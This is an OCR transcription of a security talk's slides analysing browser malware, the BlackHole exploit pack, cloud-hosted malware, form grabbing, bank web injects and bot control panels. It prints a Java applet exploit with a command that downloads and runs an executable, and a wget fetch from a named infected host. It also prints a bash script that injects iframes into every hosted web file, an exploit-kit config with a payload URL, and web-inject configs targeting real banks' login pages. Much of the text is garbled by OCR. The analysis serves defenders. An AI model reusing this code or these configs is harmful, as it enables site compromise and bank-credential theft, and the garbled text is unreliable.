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FUD (Fear, Uncertainty & Doubt)

= FUD-FUD |

— Three pillars of robust malware design
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Malware Paradigm
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Be aware and enjoy the web at its best.
Know how to surf safe.
Go to www.internetsegura.br and learn more.




Browser Malware Taxonomy

= Class A — Browser Malware
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Browser Malware Taxonomy

= Class B — Browser Malware
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Browser Malware Taxonomy

= (Class C — Browser Malware
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Malware Lifecycle — Java Exploit

= Malware making place into your system
— Step 1: Vulnerability in high traffic website is exploited
— To serve malware at large scale
— Step 2: Detecting malicious iframe in the website
e L ets extract the iframe from a malicious website

:~/scripts# python mal link ext.py -s iframes -t http://www.wsdhealthy.com/
[#¥] Fetched values: {'target’: 'select’': “iframes’'}

(e e
(*) Number of Extracted .EFRAMES] w2

(*) Extracted [IFRAMES] from:~http://wvw.wsdhealthy.com/
e T
©® index 1.html

1 http://www.gnnet.co.kr/fss/applet.html

e The iframe is pointing to some domain having applet.html.
— Avoid running it in the browser. Fetch it directly using wget/curl

:~/sef1lpts# wget http:/7www.gnnet.co.kr/fss/applet.himl -0 malicious.himl
--2012-03-02 13:24:39-- http://www.gnnet.co.kr/fss/applet.html
Resolving www.gnnet.co.kr... 211.174.163.103
Connecting to www.gnnet.co.kr|211.174.163.103|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 254 [text/html]

Saving to: "malicious.html’
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Malware Lifecycle — Java Exploit

= Malware finding a place in the system
— Step 3 : Detecting the malicious code

+

head head

body

e So, there 1s Java applet with “param” variable holding an executable

— Quick analysis of the executable can be seen here
https://www.virustotal.com/file/5cb024356e6b391b367bc6a313da5b5f744d8ald
cec860502446aaa3elb4566e/analysis/1330713741/

Opening |Isase.exe ﬂ Opening Applet.jar ﬂ
You have chosen ko open ¥ou have chosen ko open
[ Isase.exe i/ Applet.jar
which is a: Binary Filz (441 KE) which is ai Execukable Jar File (2.2 KB)
Fram: hetp: (e, gnnet, co ke Fram: http: e, gnnet ., co.kr
Wauld yau like ko save this file? Wiauld you like ba save this File?
Save File | | Cancel | Save File | Cancel |
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Malware Lifecycle — Java Exploit

= Dissecting Malicious Java Applet
public class ScriptEngineExp extends Auplet

L Yau ha hosen ko open
private JList list;

public void init() /| Applet.jar
{ try which is a:
. i
ScriptEngine se = new ScriptEngineManager () .getEngineByName ("j=s"): would vau like ko =ave Hhis File:
InetAddress address = null; '
InetAddress sun = null;
String url = getParameter("data"):
ge.eval ("var error = new Error(\"My error\"):;this.toString function()
{ java.lang.Svstem.setSecurityManager (null) ;
java.lang.Runtime.getRuntime () .exec('cmd.exe fc echo URL LCase (WScript.Arguments (0) ) >\ "$temp3\ \\\down.vbs\™
gtcmd.exe fc echo dim m, 3x>\"%tempi:'\\\down.vbs\"tscmd.exe fc echo m=\"M"i“c"r"o"s"o”f"t",. K "M L H T T BE\"
A\ "Ftempii\ i\ \\down.vbas\"sicmd. exe fc echo s=\"A=D=C=DB=.=5=t=r=e=a=m\">>\"3itempi\\\\down.vba\"
g&cmd.exe fc echo set cmd =Createocbject (replace (m, V""", \"\")) »»\"Ftemp®’\\\\down.vha'\"
g&cmd.exe fc echo cmd.Open \"GET\",UERL,0 >»\"%temp%\\‘\‘\down.vba\"
g&cmd.exe fc echo cmd.Send() »»\"%temp®i\\\\down.vbs\"&icmd.exe fc echo FileMName=LCase (WScript.Arguments (1))
A\ "EFtempii\i\\\down.vbs\"sicmd.exe fc echo Set CsCriptGet = Createcbject (replace (s,\"=\",\"\"))
FA\"Ftempii\i\\\down.vbas\"sicmd.exe fc echo CsCriptGet.Mode="3>»\"%temp?\\\ \down.vbs\"
gecmd.exe fc echo CeCriptGet.Type="1>>\"%tempi'‘\\\down.vbs\"t&cmd.exe /c echo CaCriptGet.COpen()
>\ "3tempthi\\\down. vbsh\"&ecmd.exe fc echo CsCriptGet.Write (cmd.responseBody)>>\"Etempdi\\\down.vbs\"
g&cmd.exe fc echo Ca3CriptGet.SaveToFile FileMName, “2>»\"%tempi‘\\\‘\down.vba\"&&cmd.exe /c cacript \"itempi\\\‘\down.vbs\" " +
url + " Y"Eftempi\i\\csra.exe\"&: \"itempi\ M\ \cars.exe\"") ;" +
"return \"exploit!\";};" +
"error.message = this:"):;

VBScript embedded in Java applet code

this.list = new JList(new Object[] { se.get({"erroxr") }):
gdd (this.li=st); }
catch (ScriptException ex}) { ex.printStackTrace(}:; } } H




Implanting Malware (Bots)
Present-day Propagation Tactics



Exploiting Web Hosting

= Data Centers | Web Hosting - Exploitation

— Several websites are hosted on a single server sharing IP address
— DNS names are mapped virtually to the same IP

e Vulnerability in one website can seriously compromise the server

— Insecure file uploading functionality
» Uploading remote management shells such c99 etc
» Automated iframe injector embeds malicious iframe on all webpages
» Making configuration changes such as redirecting users to malicious domains

— Cookie replay attacks in hosting domain website

» Authentication bypass : reading customer queries on the web based management
panel

» Extracting credentials directly by exploiting design flaws in hosting panels
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Exploiting Web Hosting

= Data Centers Exploitation
— Automated Iframe injector — cPanel Exploitation

CPanel () {

echo "Scanning % (1l=s JShome,/ | wc —-1) directorvs for files. Thi=s could take a while..
cd Jhome /S

echo "Starting injection of PHP files™

sleep 5

for i in 5 (find "pwd~ -—-name "*.php"' S{exempt[@]11})
do
{ echo Injecting "S5i™

cat £i > fi.tmp && cat fi.tmp | =sed =/<html>/<html>"Scode"/g > £i
: rm —f £i.tmp

done

echo "Starting injection of HTML files™

sleep S

for i in £ (find "pwd® -name '* html' S£{exempt[@]})
do
{ echo Injecting "£i™

cat £i > Si.tmp && cat Si.tmp | sed =/<html>/<html>"Scode™,/g > $i
rm —f £i.tmp

done

echo "Starting injection of TPL files™

=leep S

for i in £ (find "pwd® -name '"*.tpl' S${exempt[@]})
do
: echo Injecting "5i™

cat £i > Si.tmp && cat Si.tmp | sed =/<html>/<html>"Scode™,/g > $i
: rm —f £i.tmp

done

echo "Completed injection of found files.™




Exploiting Web Hostin

05-03-2012 14:27:57 | phpinfo php.ini cpu mem users brute In -5 all tmp deface vbb

safs_mode: Open_Basadir: Safe_Exec_Dir: Safe_Gid: Safe_Include_Dir: Sgl.zafe_mode:
PHP version: 3.3.8 cURL: MySQL: M350L: PostgreS0L: Cracle:

Disable functions :

Useful:

Downloaders:
Free space : 94.01 GB Tctal space: 145.71 GB
Server IP: [ ] -- YourIP: [ 68.37.141.168 ]

Remote shell in action

L S0ITO1Z 4513 UsC £ 15!U8 ¥%25 252 Z5ZUZU98%3pr0dqucts. tpl. php
1 softbiz 814 Dec 5 06:33 %%“’“EGE““’E’ZBZE%%_HcHdt tp .ph p
1 softbiz 3237 Feb 5 03:16 %%2F"2F9°2
1 softbiz 4628 Jan 3 08:06 %%32"°321°3 L
1 softbiz 3827 Jan 3 0B:06 %%36"361°3614
1 softbiz 835 Jan 8 01:28 %%36"365"3 5935
1 softbiz 15468 Jan 31 06:28 %%39"35B"35BEODD
1 softbiz 89626 Dec 2 15:04 %%3C"3CC"3 23655
1 softbiz 11827 Dec 2 15:08 %33 “L-B“SDB&EEEG%%P““f gureproduct.tpl.php
1 softbiz 6147 Nov 27 14:05 %%3E"3ET7T"3E78DE45%%adddomain.tpl.php
1 softbiz 4406 Dec 5 06:32 $%3F~3F3"3F3A2742%%homepage.tpl.php
1 softbiz 8224 Nov 27 14:02 %£%41°417°417AC6T7C%%footer.tpl.php
1 softbiz 7251 Dec 5 06:32 $%41°41F"41F24718%%header.tpl.php
-rw-r--r-- 1 softbiz 8846 Jan & 01:33 %%45" 55“’5572523%%r__w;:f:;ce.tp .php
-rw-r--r-- 1 softbiz 6865 Dec 9 13:24 $%4A°4AT7"4RAT73034A%%%clien ta”nap::ddcts tpl.php
T - 1 moafFels . 179C Tine O 19,74 39 ANAANRAAARATI £5 EEE T Y CETY
:: Execute command on server
Run command
Work directory » [fhome/softbiz/public_html/billing/templates_c Execute

11 Edit files ::

File for edit » |/home/softbiz/public_html/billing/templates_c Edit file




Infection through Glype Proxies
= Glype proxies

e Simple PHP scripts for anonymous surfing

e Hosted on legitimate domains and forcing user to surf through the proxy
— Logging is enabled to fetch the information about users
» A tactical way of exploiting the integrity of anonymous surfing
e Exploiting misconfigured proxies to deliver malware

— Embedding Browser Exploit Packs (BEPs) with Glype proxies
» Very effective and successful technique

Logging feature:

Log folder:  |'"noadspro/public_html/thefreeproxy.net/ftmp/logs/| update »
March 2012 [popular sites]
6th (Tuesday) 5.17 KB
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Browser Exploit Packs (BEPS)

= Browser Exploit Pack

— BlackHole is running on fire
e Techniques

— User-agent based fingerprinting

— Plugin detector capability for scrutinizing the plugins
— Serving exploit once per IP Address

— Java exploits are used heavily for spreading infections
— Support for other exploits such as PDF, Flash etc

<7
$sglSettings['dbHost'] = ' localhost': B Qjﬂ\ Aclass ¢ =
jaqliettings[ ' dhlsername'] = 'root': ERCl -
L @ + Sk —[import Jjawva.applet.ipplet;

fagqliSettings['dhPassword'] = 'suniva': : f gﬂVm@mO.Shpg
faqlientings['dbolame'] = 'zaind'; @ getbersion) St public class A extends Applet
fagqliSettings['tableVisitorslist'] = 'wisitors list': i
fpanel user = "zain"; public String getVersion()
fpanel pass = "auniva™; {
Senable_signed = false:; return Systew. getlroperty(”java.wersion™);
Spa?lnad_filename = 'payload.exe'; i
joonfig url = 'hettp://92.241.164.70/b12'; public String getVendor()
fexploit delay = 5000; {

- return Systen. gedlropertyilava.wendor™) 2
Sreuse_iframe = false:; }}
fajax_stats = true;

fajax_delay = 5000;
2
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Browser Exploit Packs (BEPS)

= Browser Exploit Pack

— Encoded exploit with PHP loncube

<?php //0035e

s

if(!extension loaded('ionCube Loader')){$ oc=strtolower (substr(php uname(),0,3)):;% 1n='/ioncube/

ioncube loader '.$ oc.' '.substr(phpversion{),0,3).(($ oc='win')?'.dll':'.so0');% odid=§ id=realpath

{ini get ('extension dir')):;$ here=dirname( FILE )};if(strlen($ id)>1&&$ did[1] ':'){% id=str replace
{('"“\\','/',substr($ did,2)):;$ here=str replace('\\','/',substr($ here,2)):;}% rd=str repeat('/..',6 substr count

($ did,'/')).§5_ here.'/':¥ i=strlen($ rd):while($ i--){if($§ rd[$ il=='/')}{§ Ilp=substr($ rd,0,5 i).% 1In:
if(file exists($ odid.$ 1p)){% 1n=% I1p;break;}}}@d1($ 1n);}else{die('The file '. FILE ." is corrupted.\n")
sYif(function exists('_il exec')) {return _il exec():;l}echo('5ite error: the file <h>'.__FILE__.'<Ih> reqguires
the ionCube PHP Loader '.hasenamei$__1n].' to be installed by the =site administrator.');exit (199);

4+oV59VADaJIJBujhgtEZPpvaGT 1G4+ vHvrcj O/ FEn/ J5GY j AgQPagxCo0d S InKFTIWWp £ 6bgme 1u0
SvyBwyotl3SSuBxhO/qutB2Uz1KJoGhIGoNQUcCHMoXcdgCvuolg2 zH9i 6Ehgd5al03PM4kREZD
SEXT1+1Dgoid0EE JBVEWEBE+t /C3H/THETQ+3w+Indxag3ZnFdeluilmia+oRgiZEzbF4b1MEbdf ]
IHxTbVime /WHi /AZa/EY1kEnsES 1/ D5XSr4 JwhZ+tBwulyi jO0QT4EW2Zh/E/ oSPoQJME+PTERLCH
nDbpeLWglNyVIgSs4 Y8 vH3wpIMxfr/W3ZnxcsUrgpsMRfdvRIJBEkv+oBocBdCLrfzfvSMggWEGwpY
11=25VEcvHNOhe3mUhsidtkpy /NG9 iusuZ JonTclXojCdicdUh8r+/ USRhA63EWSplIE20ox0gy5CT
1+ETUSHACEXau0SdilBiTnTiBYrVEwN I/ 6 KURgQOYEx1aar66 S i VVHPTfaPI ThEUALsgMOgFEYJ /=0
faZtvk/EEOVARNOZRO0gl+XOfQLmnt Y ffOhSEfNnl FELOAQEFrEQ+imSsgqzBJ1JA B+ whi LpmDH
LxXpZAAMDEThEXThDQHVE /BOrGEEs5tefelMe s ATEMuJRE zmYHSxbHneH/ OdkC1li+bJ+RL/ WdjZy
fughokInTW494gqWS 68 2wp Y Row e ¥ ih 3T LUBX 8 sMOQuznPESqiHEI TPOEQY g/ X G3¥sWtEnszZ
EnRd=UzyD+zDEPCe/cFf2kFEvmpiQL?ahHv,/IUEHIMAIGhh] W=




Browser Exploit Packs (BEPS)

= Browser Exploit Pack

— Interesting Tactics — A brief walkthrough
e JAVA SMB - One of the most effective exploit in BH

— exploit downloads “new.avi” file for triggering exploitation of a Java based
vulnerability

e Interesting to see what this file does
— Running file in VLC player produces an error.

— Can we change “new.avi” to “new.jar’? YES ! We can.
» Resultis here.

public static wvoid m2in(String[] paranbdrray0f3tring)
{
String strl TeMe. "
String stra

new StringBuffer(strl).reverse().to3tring()
T
String strd = “cidpt.ol.ava)”; 2]

tring strd = new AStringBuffer (str3).rewverse(].to3tringi):

WLiZ can't recognize the input's Format:

String strS = Math.random()] + stra: The Format of ‘zip: i\ Documents and
String stré = System.getProperty(strd): SettingstadministratorDeskkopimalware_datalphoenixz, 5_bep\foxzinew, avil Main.class' cannot
try be detected. Have a look at the log For details,

{
TRL localURL = new URL (parambrray0fstring(3]):
localURL. openConnection() ;
Inputitream locallnputitream = localURL.opendtrean();

FileOutputitrean localFilelutputitream = new FileQutputitream(str6 + strl);
byte[] array0fEvte = new byte[1024];
int 1i:;
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Malware on the Cloud

= Amazon WS Cloud Malware

— Attackers are targeting Amazon’s AWS to host malware

. . — S http://s3.amazonaws.com/kamasutras/ v[c@| [*gv o
C:sauditsupx3B8uwiupx.exe —d “c:“\Documents and Settings“AdministratorsDesktopsNov

a_KamaSutra_Carnaval_pps .exe" BYBackTrack Linux [Offensive Security E]Exploit-DB Wy Aircrack-ng ESSEORG.org [gMusic v

This XML file does not appear to have any style information associated with it. The docume
tree is shown below.

File size

_ . ad . " - —<Error>

1144328 < 388608 33.96x win32/pe Nova_KamaSutra_Carnaval_pps.exe <Code>AccessDenied</Code>
<Message>Access Denied</Message >
<RequestId>83EFOF8C0334CE33</Requestld>

|| iy, FYSs BT B W

—<HostId>
wGn5iJ65KWEt4Q7tu5ZmCSw150HKkw062FkDTEXCDpfQzi6njd AxiVWgFULONqqt
</HostId>
T Error>
51 s3.amazonaws.com/kamasutras/Nova_KamasSutra_Carmaval_pps.exe v & (v Q
SN BackTrack Linu SMusic v e [T

You have chosen to open File:  |C:\Documents and Settings\AdministratoriDeskbopiMova_KamaSutra, | ..

This XML file ¢ Nova_KamaSutra_Carnaval_pps.exe vith it. The document _ _
tree is shown I Ao T . Entrypoint: [0012FAAD EP Section: [LFRL =]
which is a: DOS/Windows executable . '
from: http://s3.amazonaws.com File Offset: | 000SBEAD First Bytes: [60,BE,00,40 | = |
. i . Linker Infa: | 2,25 Subsystem: |Win32 GUI =
— <Frror> What should Firefox do with this file? i 2]
< =/ - . -
<;\:flc::'l.3§a A: © |Open with| | Wine Windows Program Loader (def... ¥ UP% 0,89.6 - 1,02 § 1,05 - 1,24 (Delphi} stub -> Markus & Laszlo
<Req11egtl ) save File Tulki Scan | Task Yiewer | Options | About: | Exit |
—<HostId> B I Stay ontop 2] =]
wGnbiJ65 (iVWgFULONqqt
</HostId>
</Error=>

Cancel | | oK |
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Malware on the Cloud

= Amazon WS Cloud Malware

— On reversing , the package downloads malware into “c:\winsys” directory
from another directory present on Amazon AWS

e Downloaded files are presented below

,{?3-; wimita.exe
1.4 MB — amazonaws,com

é wWTISan, exe
=

1.2 MB — amazonaws,com

é WSAN, EXE
.

2.9 ME — amazonaws, Com

WE exe
t-,._/' 2.4 ME — amazonaws, Com

o wemi
| 3.0 MB — amazonaws.com
wh,exe

t;_/ 2.7 MB — amazonaws . com

™ ssleay3z2.dl

T

216 KB — amazonaws, com

o secman.dl

T

142 KB — amazonaws,com

1mzz AmM

1mzz AM

1mzl AmM

1mz21 AmM

1mz21 AmM

1mz0 AmM

120 AmM

120 AM

o) beay32.dl 10:19 AN
1 1.0MB — amazonaws.com

BROWVWM, exe 10:18 AM
16,0 kB — amazonaws.com

g faces.exe 10:18 A
1.8 ME — amazonaws, com

Pra ot exe 10:1F Al
; 1.7 MB — amazonaws, com

G Msnexe 10:17 AM
M) 1.5 MB — amazonaws. com

10:16 AM

. faceeexe
= 1.8 MB — amazonaws. com

24



Malware on the Cloud

= Amazon WS Cloud Malware

— Afterwards
— Some of the files were again packed with UPX packer
— All the files were flagged as malicious

Q?E Heuristics, Shuriken File C:hDocuments and Settings\AdministratorsMy Documents\Download:s \BRO0WMN. exe
xg} Trojan.Fakel15N File ChDocuments and SettingsSadministratorsMy Documents\Dovwnloads\Mzn. exe
xg} Trojan.Clicker File ChDocuments and SettingshadministratorsMy Documents\Downloadswhb. exe
-Q} Trojan.Banker File C:hDocuments and S ettingsiadministratorsMy DocumentzhD ovwnloads i, dil
-Q} Spyware.Banker File C:AhDocuments and S ettingztadministratorsMy DocumentzhDownloadsvwmita.exe
-Q} Trojan.Clicker File C:A\Documents and Settingsh\administratorsMy Documents\Dovwnloads wmsan.exe
-Q} Trojan.Clicker File C:hDocuments and SettingstadministratorsMy Documents\Dovwnloads wine. exe
He Edt View Favortes Tools Help 'lg? Trojan.Clicker File C:hDocuments and S ettingstadministratorsMy Documentzsh\Downloads\wsan. exe
— 'lg? Trojan.Agent File C:AhDocuments and S ettingstadministratorsMy DocumentzhDownloads\facee.exe
Q Back ~ 7 I ir ‘ p ! Search Falders ‘ El' -Q? Spyware. Agent File C:ADocuments and S ettingztadministratorsMy DocumentzhDownloads\faces exe
address I_' Crinew -Q? Trojan.Banker File C:ADocuments and SettingsiadministratorsMy Documents\Dovwnloads'hots. exe
. o = BROWH, exe
File and Folder Tasks E ths\"kBUv_LIAURKjTjawVOk
Iim Rename this il P EdhOZ2urlivDorkRZID
oy Move this file m =101 %]
) Copy this file File: [Cinew|BROWN.exe ] : amazon |
& Publish this file to the 3 webservices™
_'_;J ;\f:l:“ this File Entrypoint: ’W EP Section: ’W w
% Delete this file File OFfset: [OoODZZFO First Bytes: |60,BE,00,A0
Linker Infao: lsui Subsystem: ,W
DOther Places S

s Local Disk (C:) |UPX 0.89.6 - 1.02 J 1.05 - 1,24 -= Markus & Laszlo

=} My Documents | Iulki Scan I | Task\l'iewerl | Options I | About | | Exit I
) Shared Documents V¥ Stay on top

1 M Crennnter LI
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Exploiting Social Networks

= Social Networks

e Attackers exploit the inherent design flaws in social networks
e Used to spread malware at large scale

— LikeJacking (=~ClickJacking)
e Used to add malicious links on user’s profile in Facebook
e LikeJacking collaboratively used with ClickJacking
e Efficient in spreading malware

facebook | b
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Present-day Botnets
Information Stealing and Manipulation
Tactics



= Why?

Browsers - Form Grabbing

— Keylogging produces plethora of data
— Form grabbing — extracting data from the GET/POST requests
— Based on the concept of hooking and DLL injection

— Virtual Keyboards
e Implements the form grabbing functionality to send POST requests

e No real protection against malware

Important Security Notice:

User ID: 1234567890
Password: seee
Start in: My Accounts

Log-in

New users? Register here.
Report a suspicious e-mail.

ICICI Bank does not ask you for any personal information other than

yveur user ID and password when you log into ww w.icicibank.com.

Use virtual keyboard

b

(Recommended)

Forgot password?

Cyber Cafe Security

/

I = =]
> (L= =]

Internet Banking Login

irtual Keyboard (for entering

=

== ]
H! 3
=]

SO0 G §

EllA el ]=1~]
LI e ]l=]
EIEIEE] =]

[=]=]

.
AnEnann

] Back Space ” Clear ” Caps Lock
To know mere about Virtual Keybeard

O o

Trouble logging in?
About e-mail fraud
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Browsers - Form Grabbing

» Facts and Reality
— All the botnets (Banking, IRC etc) use this technique
— Very hard to overcome the consequences
— All browsers can be circumvented to execute non legitimate hooks

[ Form Grabber ]
1 . . 1
Process (firefox.exe) Process (iexplorer.exe)
1 | | 1
D ' "\
DLL Injection (hook_firefox.dll) DLL Injection (hook_iexplore.dll)
L l J L 1 J
. ) Hook EncryptMessage in
Hook pr_write in nspr4.dll ) [ secure32.dll

l
A L
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Man In the Browser (MITB)

= Subverting Protection Mechanism

— Exploits the victim system and browser environment
e SSL / PKI does not stop the infections by MITB
e Two Factor/ SSO authentication module does not stop it
e Concept of browser rootkits e n the Srowser

. . . Website seen Website seen
by Customer by Bank
e Implements DLL Hijacking " v
L ] o
e Exploits Online Banking _ e
L) ™ | e rptenom (S|4l [ &} LB R R
- . o 2 = F Vew  Fasibss  Took . e, Fonibes ook
® Man-in-the-browser also sometimes called a “proxy Trojan” e T T & e
® Operates from “within” the Web browser by hooking key online banking . Online banking
Operating System and Web browser API's, and proxying | oo ’
HTML data — . o8 poymemtietaits 0 | @ | remestoomis
' 3 o B ~ ; » Tl Pary SO phaisd artar tha following datads To pay GOmasns peasd aar thi folkewing detals
® Allows the attacker to: = g L e e [cosbin ] oy nome: Fraudsisr '
* Nothaveto worry aboutencryption I Playiod SOt i 123458 PaaE et ro EBAIE1 ]
o [12eee |
(SSL/TLS happensoutside the browser) oSt Payes sort code: Nz Pawee ot code: 445566 |
* Inspect any content sent or received by the browser =g | e s S |
* Inject and manipulate anycontent before rendering IE'
D8 : ¢
withinthe Web browser = s | T ———
* Dynamically create additional GET/POST/PUT/etc. to any ' _mﬂm aﬁ,’f:'g

destination

http://www.cronto.com/download/internet_banking_fraud _beyond phishing.pdf
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Web Injects — Infection on the Fly

= Web Injects
— Injecting incoming request with malicious content

— Web page is tampered which looks legitimate
e Primary aim is to inject credential stealing forms and input tags
e Similar concept is used to inject pointers to remote malware site.
e Concept of Third Generation Botnets ( Give me your money © )

set_url https://click.alfabank.ru/ALFAIESR/Controllerlervlet® G

data_hefore

<input class="text login" type='password' name='pagsword' *</tdx

data end

data_inject

<Lrx

<t

cinput class='text' type=s'text' hame='LATM' size='13' walue="" style="display:none" disabled>Iiids éasdi:</td:

<tdr<input class='text' type='text' name='ATH' wvalue="" maxlength='16' wvalue="" tabindex='2' autocaomplete="off" id='AiTHid'»</td=<tr>
<t

<input class='text' type='password' nawe='PIN' size='13' wvalue="" style="display:none" dizabled>1E1 Eié:{ftd}

<tdr<input class='password' type='password' name='PIN' wvalue="" maxlength='16' wvalue="" tabindex='Z' autocomplete="off" id='PINid'»</td>
<Lrx

<t

<input class='text' type='text' name='EXP' size='13' walue="" style="display:none” disshled-iiais &i: (iseids 01/10)</tds

<tdr<input class='text' type='text' name='EXP' wvalue="" maxlength='16' value="" tabindex='2' autocomplete="off" id='EXPid'></td>
data end

data_after

<t

data end
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Web Injects — Log Detection

set_url https://engine.paymentgate.rw/hposervlet/BFC/ index. jsp* GF

set_url https:/fonline.shank.rw/Login.shtm?RC=5% GP

dats before data hefore
{td>zinput class="text" type="text" name="userld" wvalus=""></td> <tr hgColor=*
data end data_ end

data inject
data_inject - do iodatd:
<td class="merchantLogin">iadiéia</cd>

<td> <input type="text”™ name="Login"™ size="10"¥
<td> <input type="Password" name="Password" sSize="10"¥
data_ end

dats _end

data after
<td>21nput class="text™ type="passwvord” nasmwe="password" wvalue="'roo data_after
data end </tr>

h data_ end
dats before
<td class="werchantLogin">iadigili</td>
<tdx<input class="text" type="passwvord" nasme="password" wvalue=""><

get url https://ms.intellibank.rw/Front Webh/ logon.asp® GP
dats _end - -

data hefore
data_ end

data inject T
- data inject

<td class="merchantLogin">igacaeiiée iasisil</cd>
<tdr<input class="text" type="passvord" name="plate]j pass" valus=" data_end

data end data after
data end
data after -
<tdr<input class="button” type="submit” value="Liddérs</td> set url https://client.uralsibbank.ru/* GP
data end -

data hefore
data_ end
data inject

-
3
- 4 *LINPUOT type="text" namwe="CustIdent"” id="CustIdent"™*
LL’E I JaCt #*<INPUT type="password" name="Custiuth" id="Custiuth"*
> l l
P S

data_ end

http://secniche.blogspot.com/2011/07/spyeye-zeus-web-injects-parameters-and.html
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Web Injects — Action

I Cwebinjects.txt - Notepad++ W M = { - 57 1

LN b,
o 0 o= & L] & i “a

% ¢
|
L

-

Locations « Contact Us » Help « Si

Enter keyword(s)

2 char

s titis here ‘

set_url *bankofamerica.com*infiex* GP

|data_before ‘ PERSONAL ~ | SMALL BUSINESS » CORPORATE & INSTITUTIONAL » | ABOUT BAN

e I
aata ¢  Online Banking & |
data_end Online Banking - !

coll | vien cemo | L | SIMple to get, simple to use.
‘ Get Mobile Banking in 2 steps

Jdata_inject
inject is here (===

Enter Online ID:

data_end

Seee—otear 1. Select device

;;ttxau:;d Save this Online 1D (O Android O BlackBerry O iPhone (O Other
e I 2. Enter mobile number

£ Pret e

set_url *bankofamericajcom/* GP
Forgot or need healp with your

gata_be;we 10? Products & Services = Manage Your Money Achieve
ata_gn 2 Reset Passcode
~data_inject 2
rememberme_prefill = ""; Sign in for location other than Checkir Online Investing Investme
data_end

-/data_after
11 (rememberme_prefill !=
data_end

% Grabhinge ~rOUNT

set_url https://onlineeast®, bankofamerica.com/*/GotoWelkome GPH
|data_before

<div classe="primaryNavCnt®>

data_end

/data_inject

BOA : Account Type

Open an Account » Enroll in Online
Banking»

m | 3 With Online

: o o
:a:d—e:: - h options $ Enloy so Pay y
e , : equity trades! | ver mi -
< m
3871 chars 4221 bytes 1 Ln:11 Col:20 Sel:0 (0 bytes) in0 ranqes Dos\Windows ANSI INS Mpoynrano www.bankofamerica.com 1 O 1.7MB /293 MB 0 ME —_
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Web Fakes

= Understanding Web Fakes
e Plugins used to spoof the content in browsers
e Supports both protocols HTTP/HTTPS
e Based on the concept of internal URL redirection
e All browsers are affected

= How ?
— Plugins use the defined metrics in the configuration file

e URL_MASK
e URL REDIRECT
o FLAGS
e POST BLACK_ MASK
e POST WHITE_MASK
e BLOCK URL

[

[

WEBFAKE_NAME
UNBLOCK_URL
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Web Fakes — Function Calls

54

55. DLLEXPORT void Callback OnBeforeLoadPage (IN PCHAR szUrl, IN PCHAR szVerb, IN PCHAR szPostVars, OUT PCHAR * lpszContent, OUT PDWORD lpdwSize)

56. {

57 if (!strstr(szUrl, "google")) {

59. DebugWrite ("Output : \n{ %s }\n", data):

60.

61. if (!checkmem forread(lpszContent, sizeof (DWORD))) {

62. DebugWrite (" [ERRCR] Ahtung! : *1lpszContent == 0x%08X is not readable", *1lpszContent):;
3 return;

64. }

65.

66. *1pszContent = (PCHAR)malloc (sizeof (data)):

67. if (!*1pszContent) {
8. DebugWrite (" [ERROR] Ahtung! : *1lpszContent == NULL");

69. return;

70. }

71. CopyMemory (*1pszContent, data, sizeof(data)):

72. *1pdwSize = sizeof (data);

74.

75

(=)
=
o
0
12
&J

DLLEXPORT void Callback ProcessContentOfPage (IN PCHAR szUrl, R szVerb, IN PCHAR szPageContent, OUT PCHAR * szOut, IN OUT PDWORD lpdwSize)

r

oW N

if (strstr(szUrl, "g
DWORD dwMaxSize = 200000;
if (dwMaxSize < strlen(szPageContent))
return;
*gzOut = (PCHAR)malloc (dwMaxSize):
if (!*szOut)

m
< o n

30. return;

91. ZeroMemory (*szOut, dwMaxSize):;

92. CopyMemory (*szOut, szPageContent, strlen(szPageContent)):
93. PCHAR szPos = strstr(*szOut, "porno"):

94. if (szPos) {

95. CopyMemory (szPos, "xxxxx", 5):

96. }

97. *1pdwSize = strlen(szPageContent):;

98.

99.
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Web Fakes — Real Example

wiy, bankofamerica.comf = = C ‘ X 7

Darn Mpaeka Bra MsBpaHHoe Cepsuc Cnpaeka

Aﬂl;Il.t @https:,l’,fwww.bankofamerica.com,l’ v Bnepexon Coeinkn >

oz

oz

XA-XA_ORG

éj Motoso @ 0 MHTEepHeT

"% (IPEG Image, S70x42... 2R https:fhawe.bankofa. ..




Other Information Stealing Tactics ..

= Bot Plugin Architecture
— Credit Card Grabber
— Certificates Grabber
— SOCKS 5 Backconnect
— FTP Backconnect
— RDP BackConnect
— DDoS Plugins
— Webcam Hijacker
— Infecting Messengers (Spreaders)
— Andsoon...... depending on the design !
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Smoke Bot & ICE Bot
A Walkthrough — C&C Panels



Smoke Bot Infections

omoke pat

>> STATS <<

5> BOTS << Statistic 0s Online Countries Countries
>> TASKS << All Bots - 356 ﬁf_’,‘fpi Windows XP - 213 Show/Hide Show/Hide
Today - 189 i AL
>> OPTIONS << Qripe. - 24 e oS 7ol s US - 4 m ID - 43
1 Windows Vista - 16 m= ID - 4 o PL - 34
EXE - 0 letal
=S s BTy Windows 2003 - 5 =3 BR - 2 u RU - 32
12003 =5
>> SOCKS << ;Cl’fnis_‘oo == GB - 2 mm UA - 30
32-bits - 327 mm PL-2 BR - 30
>> CMD SHELL << P tndate -0 64-bits - 29 = UA - 2 am BY - 27
Doubles - 5 = Co-1 ] EG - 16
Al=1 Es US - 12
Sellers ggMx-1 &g SA - 10
M PH-1 == AM -9
s 77777 - 356 o KR-1 5= IN-7
S EG-1 il PE-6
= BY -1 | TR -6
mm BG - 1 = LB-5
ESA-I = MY -5




Smoke Bot Infections

omoke pat

>> STATS <<
e Add new task
>> TASKS <<

Local file: Remote file:
>> OPTIONS <<
>> LOGS << Comment: | l Comment: | I
>> SOCKS << Geo: [ALL | (ex.: ru,us,ab) GEO: |ALL | (ex.: ru,us,gb)
>> CMD SHELL << Lirmits D Seller: ICI Limit: D Seller: D

| ‘ Browse._ l | Upload URL: | | Set |

@ Run as EXE LoadLibrary regsvr32 9 Run as EXE LoadLibrary regsvr32
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|CE Bot Infections

Scripts Search in database Search 1n files Jabber notifier Informatic SCIPts Search in database Search in files Jabber notifier
08 list for botnet: [Al] ~ | >> | Information
Total reports in database: 1694
Server 2008 x64, 5P 1 3 . .. - _
Time of first activity: 17.01.2012 05:26:59
Server 2008 R2 x64_ 5P 1 3
Total bots: 16
XP S5P2 2 . . .
Total active bots in 24 hours: 18.75% -3
Server 2003 x64, 5P 2 2 o _
XP.SP3 5 Mumn_ al TEI'SI-OH of bot: 13[}
Server 2008 x64, SP 2 1 Maximal version of bot: 125
Server 2008, 5P 2 1
Server 2003. SP 1 1 Current botnet: [Al] ~ | >> |
Server 2003, SP 2 1 Actions: | Reset "Mew bots" |
Software versions New bots (14) Online bots (3)
Operation system: Linux 2.6.18-164.11.1 e1SPAE #1 SMP Wed Jan 20 08:16:13 EST 20° Us 9 USs 2
